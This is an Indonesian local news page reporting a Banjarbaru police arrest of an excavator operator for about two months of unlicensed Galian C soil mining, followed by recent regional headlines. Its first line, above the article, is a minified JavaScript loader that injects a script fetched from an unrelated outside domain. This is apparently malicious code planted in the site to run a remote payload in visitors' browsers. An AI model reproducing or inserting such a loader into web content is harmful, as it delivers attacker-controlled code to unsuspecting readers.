(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Galian C Tak Berizin di Banjarbaru, Polisi Tangkap Operator Eksavator


KANALKALIMANTAN.COM, BANJARBARU – Seorang laki-laki warga Kota Banjarbaru melakukan aktivitas penambangan galian C tanpa izin di Bukit Lentera, Jalan Bumi Berkat V Kelurahan Sungai Ulin, Kecamatan Banjarbaru Utara, Kota Banjarbaru.

Laki-laki itu berinisial MSB (28), berhasil ditangkap Unit Tipidter Sat Reskrim Polres Banjarbaru pada Senin (23/12/2024) sekitar pukul 14.00 Wita.

Kapolres Banjarbaru AKBP Dody Harza Kusumah, melalui Kasat Reskrim Polres Banjarbaru AKP Haris Wicaksono mengatakan, MSB ditangkap oleh petugas saat sedang mengoperasikan alat berat untuk mengeruk tanah di sekitar Bukit Lentera.

Baca juga: Bearing Baja Nyangkut di Alat Kelamin Lelaki, Damkar Turun Tangan

Barang bukti yang turut diamankan polisi yaitu satu unit alat berat eksavator PC 200 Hitachi warna orange.

Kemudian ada pula satu buah buku merk SIDU, berisi catatan rekapan hasil penjualan tanah uruk.

“Saat tiba di lokasi polisi mendapati MSB sedang mengoperasikan alat berat untuk mengeruk tanah,” ungkap Kasat Reskrim Polres Banjarbaru AKP Haris Wicaksono, Rabu (25/12/2024).

Baca juga: Libur Akhir Tahun, Ini Tiga Tempat Wisata Estetik Tak Jauh dari Ibu Kota Kalsel 

Penangkapan dilakukan polisi setelah mendapatkan informasi kemudian ditindaklanjuti langsung dengan dipimpin Kanit Tipidter Sat Reskrim Polres Banjarbaru Ipda Sarah Yudea L Toruan.

Dirinya menegaskan bahwa kegiatan penambangan yang dilakukan tidak mempunyai izin dari instansi berwenang.

“Atas temuan tersebut yang bersangkutan dan barang bukti ditahan ke Mapolres Banjarbaru untuk dilakukan pemeriksaan,” terangnya.

Baca juga: Bandara Syamsudin Noor Prediksi Arus Balik Libur Nataru Bersamaan Haul Sekumpul

Setelah diringkus, pelaku MSB yang diintrogasi mengakui bahwa kegiatan penambangan ilegal yang dia lakukan telah berjalan selama kurang lebih dua bulan.

“Saat ini penyidik juga sedang mendalami kasus ini, selain itu penyidik juga melakukan pemeriksaan terhadap saksi-saksi untuk kepentingan proses hukum,” jelas AKP Haris.

Atas perbuatan ini pula, pelaku dijerat pasal 158 Jo pasal 35 UU RI Nomor 03 Tahun 2020 perubahan atas UU RI No 04 tahun 2009, tentang Minerba dengan ancaman hukuman paling lama lima tahun kurungan penjara. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Muhammad Andi

Recent Posts

Remaja 13 Tahun Terseret Arus di Sungai Martapura

KANALKALIMANTAN.COM, BANJARMASIN — Seorang remaja laki-laki dilaporkan tenggelam di Sungai Martapura, Jalan Rantauan Darat, Kecamatan… Read More

9 jam ago

Ikmaban Salurkan Bantuan Banjir di Desa Pejambuan

KANALKALIMANTAN.COM, MARTAPURA - Ikatan Mahasiswa Banjarmasin (Ikmaban) menyalurkan bantuan kepada warga terdampak banjir di Desa… Read More

15 jam ago

Pemko Banjarmasin Janjikan Normalisasi Aliran Sungai Gampa

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob atau banjir pasang pesisir yang melanda kawasan Sungai Gampa, Kelurahan… Read More

17 jam ago

Gubernur Muhidin Instruksikan Semua SKPD Kirim Bantuan Korban Banjir

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel), H Muhidin, instruksikan seluruh Kepala Satuan Kerja Perangkat… Read More

18 jam ago

Banjir Rob di Tanjung Pagar 45 KK Terdampak

KANALKALIMANTAN.COM, BANJARMASIN — Banjir yang menggenangi Jalan Kelayan Besar, RT 04, Kelurahan Tanjung Pagar, Kecamatan… Read More

19 jam ago

Peringatan Isra Mikraj di PTAM Intan Banjar Diisi Tausiah oleh Habib Syauqi

KANALKALIMANTAN.COM, BANJARBARU – Peringatan Isra Mikraj Nabi Besar Muhammad SAW 1447 Hijriah, di aula kantor… Read More

1 hari ago

This website uses cookies.